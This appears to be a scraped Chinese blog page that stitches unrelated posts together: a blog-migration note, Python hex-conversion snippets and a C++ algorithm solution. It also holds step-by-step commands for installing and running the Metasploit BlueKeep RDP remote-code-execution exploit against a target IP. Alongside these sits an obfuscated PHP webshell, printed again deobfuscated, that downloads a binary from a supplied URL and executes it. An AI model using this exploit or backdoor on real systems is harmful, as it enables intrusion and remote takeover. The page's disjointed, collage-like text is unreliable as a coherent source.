为什么要移植
一直用hexo托管在Github上有几点体验不要好的地方
- 没有评论系统,虽然有很多插件,但是不能及时的通知提醒
- 写博客体验比较不好,虽说这种方式比较极客,Markdown本身语法比较简单,有些复杂的排版需要用html标签来实现,比较难受
- 没有后台管理系统,全靠git来管理,方式较极客,但不友好
- 更新博客之后需要刷新两次才能更新页面
综上,当时跟风的我现在苦逼的将博客全手工移植到来这里,😢
1 2 3 4 5 6 7 8 9 10 11 | # Download wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb # Replace sudo cp rdp.rb /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb sudo cp rdp_scanner.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb sudo cp cve_2019_0708_bluekeep.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb sudo cp cve_2019_0708_bluekeep_rce.rb /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb |
msfconsole
reload_all
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf
基本操作info
set RHOSTS <target ip>
target
1 2 3 4 5 6 7 8 9 | Exploit targets: Id Name -- ---- 0 Automatic targeting via fingerprinting 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V) |
run
,遇到蓝屏 多试几次 或者 是哪一步配置出错1
| <?php goto D242; Cfc5: echo "\x61\x75\x78\x36\x54\150\x65\151\157\x47\150\165\x65\x51\x75\63"; goto e83e; f7cc: B487: goto d892; Ff02: chmod($C43e, 0755); goto b30d; e9df: if (empty($B113)) { goto B487; } goto a0b1; B80e: echo "\157\153"; goto f7cc; c76b: if (!($_POST["\143\x70"] == "\144\157\167\x6e\x6c\157\x61\x64")) { goto Ee85; } goto A93f; bdbb: exec("\x70\153\151\x6c\154\40\x2d\71\x20\55\x66\x20\163\x74\x65\141\x6c\x74\150"); goto c200; F9c6: $B113 = $_POST["\x75\162\x6c"]; goto e9df; b30d: $Ab43 = "\56\x2f{$C43e}\x20\76\40\57\144\x65\166\x2f\x6e\x75\154\x6c\x20\62\76\x2f\144\145\x76\x2f\x6e\x75\154\x6c\40\x26"; goto D4a3; e83e: die; goto D223; d875: if (!($_GET["\x63\147"] == "\143\x68\x6b")) { goto F9f0; } goto Cfc5; D223: F9f0: goto c76b; A93f: $C43e = substr(str_shuffle(str_repeat($bf09 = "\60\61\62\x33\x34\65\x36\67\x38\x39\141\x62\143\x64\x65\x66\147\x68\x69\152\153\x6c\x6d\x6e\x6f\x70\161\162\163\164\x75\166\x77\x78\x79\x7a\x41\102\x43\x44\105\x46\107\x48\x49\112\113\x4c\x4d\116\117\120\121\122\123\x54\125\126\127\x58\131\132", ceil(6 / strlen($bf09)))), 1, 6); goto F9c6; F064: $b3e4 = file_get_contents(trim($B113)); goto a92a; D4a3: exec($Ab43); goto B80e; a92a: file_put_contents($C43e, $b3e4); goto Ff02; a0b1: @unlink($C43e); goto bdbb; c200: exec("\160\x6b\x69\154\154\40\x2d\146\x20\x2d\71\40\x73\164\145\141\154\x74\150"); goto F064; D242: error_reporting(0); goto d875; d892: Ee85:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php error_reporting(0); if ($_GET["cg"] == "chk") { echo "aux6TheioGhueQu3"; } else if ($_POST["cp"] == "download") { $cqQHbAE5XLgs8psC = substr(str_shuffle(str_repeat($ZNPTFf3D_3zXFaNZ = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ceil(6 / strlen($ZNPTFf3D_3zXFaNZ)))), 1, 6); if (!empty($_POST["url"])) { @unlink($cqQHbAE5XLgs8psC); exec("pkill -9 -f stealth"); exec("pkill -f -9 stealth"); $zoUdl1u2MM35rLMf = file_get_contents(trim($_POST["url"])); file_put_contents($cqQHbAE5XLgs8psC, $zoUdl1u2MM35rLMf); chmod($cqQHbAE5XLgs8psC, 0755); $h2mklze53I9MDH0c = "./{$cqQHbAE5XLgs8psC} > /dev/null 2>/dev/null &"; exec($h2mklze53I9MDH0c); echo "ok"; } } ?> |
stealth
ok
1 2 | #!/bin/bash echo "<?php phpinfo() ?>" > m.php |
1 2 | string <-> hex string string <-> dec integer |
1 2 3 4 5 6 | # all python version import binascii binascii.b2a_hex('string') binascii.hexlify('string') # only python2 'string'.encode('hex') |
1 2 3 4 5 6 | # all python version import binascii binascii.a2b_hex('737472696e67') binascii.unhexlify('737472696e67') # only python2 '737472696e67'.decode('hex') |
1 2 | # string -> hex string -> integer int(binascii.hexlify('string'), 16) |
1 2 3 | # integer -> hex string -> string binascii.unhexlify('%x' % 126943972912743) binascii.unhexlify('{0:x}'.format(126943972912743)) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | #include <bits/stdc++.h> using namespace std; int main() { ios::sync_with_stdio(0); cin.tie(0); string s; while (cin >> s) { int cnt[256] = {0}; for (char c : s) { ++cnt[c]; } string d = "BAT"; sort(d.begin(), d.end()); int min_d = s.size(); // 最小的字符不同数 string min_s; // 最后的形态 do { int k = 0, diff = 0; for (int i = 0; i < 3; ++i) { for (int j = 0; j < cnt[d[i]]; ++j, ++k) { if (s[k] != d[i]) { ++diff; } } } if (diff < min_d) { min_d = diff; min_s = d; } } while(next_permutation(d.begin(), d.end())); // BAT的全排列 int part_cnt[3][256] = {0}; for (int i = 0, k = 0; i < 3; ++i) { for (int j = 0; j < cnt[min_s[i]]; ++j, ++k) { ++part_cnt[i][s[k]]; } } int ans = min_d; int left = 0; // 剩下需要3个分区一起交换的字符 for (int i = 0; i < 3; ++i) { for (int j = 0; j < i; ++j) { ans -= min(part_cnt[i][min_s[j]], part_cnt[j][min_s[i]]); // 减去可以两两交换同时到达各自位置的字符 left += abs(part_cnt[i][min_s[j]] - part_cnt[j][min_s[i]]); // 加上不能两两交换同时到达的字符 } } ans -= (left / 3); // 3个字符够成一个环 cout << ans << endl; } return 0; } |